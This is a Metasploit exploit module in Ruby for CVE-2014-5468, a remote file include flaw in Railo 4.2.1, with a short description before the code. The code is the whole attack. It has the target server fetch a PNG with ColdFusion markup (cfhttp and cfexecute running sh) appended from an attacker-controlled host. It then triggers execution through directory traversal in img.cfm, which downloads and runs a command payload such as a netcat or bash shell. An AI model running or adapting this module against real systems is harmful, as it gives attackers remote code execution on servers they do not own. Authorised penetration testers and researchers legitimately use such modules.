This Metasploit module exploits a remote file include vulnerability in Railo, tested against version 4.2.1. First, a call using a vulnerable cffile line in thumbnail.cfm allows an attacker to download an arbitrary PNG file. By appending a .cfm, and taking advantage of a directory traversal, an attacker can append cold fusion markup to the PNG file, and have it interpreted by the server. This is used to stage and execute a fully-fledged payload.
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##
# This module requires Metasploit: http//metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
class Metasploit4 < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::Remote::HttpServer
def initialize(info = {})
super(update_info(info,
'Name' => 'Railo Remote File Include',
'Description' => '
This module exploits a remote file include vulnerability in Railo,
tested against version 4.2.1. First, a call using a vulnerable
<cffile> line in thumbnail.cfm allows an atacker to download an
arbitrary PNG file. By appending a .cfm, and taking advantage of
a directory traversal, an attacker can append cold fusion markup
to the PNG file, and have it interpreted by the server. This is
used to stage and execute a fully-fledged payload.
',
'License' => MSF_LICENSE,
'Author' => [
'Bryan Alexander <drone@ballastsecurity.net>', # Discovery/PoC
'bperry' # metasploited
],
'References' => [
['CVE', '2014-5468'],
['URL', 'https://hatriot.github.io/blog/2014/08/27/railo-security-part-four/']
],
'Payload' => {
'Space' => 99999, # if there is disk space, I think we will fit
'BadChars' => "",
'DisableNops' => true,
'Compat' => {
'PayloadType' => 'cmd',
'RequiredCmd' => 'generic netcat perl ruby python bash telnet'
}
},
'Platform' => %w( unix ),
'Targets' =>
[
[
'Automatic',
{
'Platform' => [ 'unix' ],
'Arch' => ARCH_CMD
}
]
],
'DefaultTarget' => 0,
'DisclosureDate' => 'Aug 26 2014'))
register_options(
[
OptString.new('TARGETURI', [true, 'The base URI of the Railo server', '/railo-context/']),
OptInt.new('STAGEWAIT', [true, 'Number of seconds to wait for stager to download', 10])
], self.class)
end
def check
md5 = '6de48cb72421cfabdce440077a921b25' # /res/images/id.png
res = send_request_cgi(
'uri' => normalize_uri('res', 'images', 'id.png') # the targeturi is not used in this request
)
if !res
fail_with(Failure::Unknown, 'Server did not respond')
elsif !res.body
fail_with(Failure::Unknown, "Server responded without a body: #{res.code} #{res.message}")
end
new_md5 = Rex::Text.md5(res.body)
return Exploit::CheckCode::Appears if new_md5 == md5
Exploit::CheckCode::Safe
end
def exploit
if datastore['SRVHOST'] == '0.0.0.0'
fail_with(Failure::BadConfig, 'SRVHOST must be an IP address accessible from another computer')
end
url = 'https://' + datastore['SRVHOST'] + ':' + datastore['SRVPORT'].to_s
@shell_name = Rex::Text.rand_text_alpha(15)
stager_name = Rex::Text.rand_text_alpha(15) + '.cfm'
start_service('Uri' => {
'Proc' => proc do |cli, req|
on_request_stager(cli, req)
end,
'Path' => '/' + stager_name
})
start_service('Uri' => {
'Proc' => proc do |cli, req|
on_request_shell(cli, req)
end,
'Path' => '/' + @shell_name
})
wh = '5000' # width and height
res = send_request_cgi(
'uri' => normalize_uri(target_uri.path, 'admin', 'thumbnail.cfm'),
'vars_get' => {
'img' => url + '/' + stager_name,
'height' => wh,
'width' => wh
}
)
if !res
fail_with(Failure::Unknown, 'Server did not respond')
elsif res.code != 500
fail_with(Failure::Unknown, "Server did not respond with the expected HTTP 500: #{res.code} #{res.message}")
end
print_status('Waiting for first stage to download...')
i = datastore['STAGEWAIT']
while !@staged && i > 0
select(nil, nil, nil, 1)
print_status("Waiting for #{i} more seconds...")
i = i - 1
end
@staged = false
if i == 0
fail_with(Failure::Unknown, 'Server did not request the stager.')
end
hash = Rex::Text.md5("#{url + "/" + stager_name}-#{wh}-#{wh}") # 5000 is width and height from GET
hash.upcase!
print_status('Executing stager')
send_request_cgi(
'uri' => normalize_uri(target_uri.path, 'admin', 'img.cfm'),
'vars_get' => {
'attributes.src' => '../../../../temp/admin-ext-thumbnails/' + hash,
'thistag.executionmode' => 'start'
}
)
end
def on_request_shell(cli, _request)
print_status('Sending payload')
send_response(cli, payload.encoded, {})
handler(cli)
end
def on_request_stager(cli, _request)
url = 'https://' + datastore['SRVHOST'] + ':' + datastore['SRVPORT'].to_s + '/' + @shell_name
stager = "<cfhttp method='get' url='#{url}'"
stager << " path='#GetDirectoryFromPath(GetCurrentTemplatePath())#..\\..\\..\\..\\..\\..\\'"
stager << " file='#{@shell_name}'>"
stager << "<cfexecute name='sh' arguments='#{@shell_name}' timeout='99999'></cfexecute>"
png = 'iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcS'
png << 'JAAAACklEQVR4nGMAAQAABQABDQottAAAAABJRU5ErkJggg=='
# A very small PNG file
png = Rex::Text.decode_base64(png)
stager.each_byte do |b|
png << b
end
png << 0x00
print_status('Sending stage. This might be sent multiple times.')
send_response(cli, png, 'Content-Type' => 'image/png')
@staged = true
handler(cli)
end
end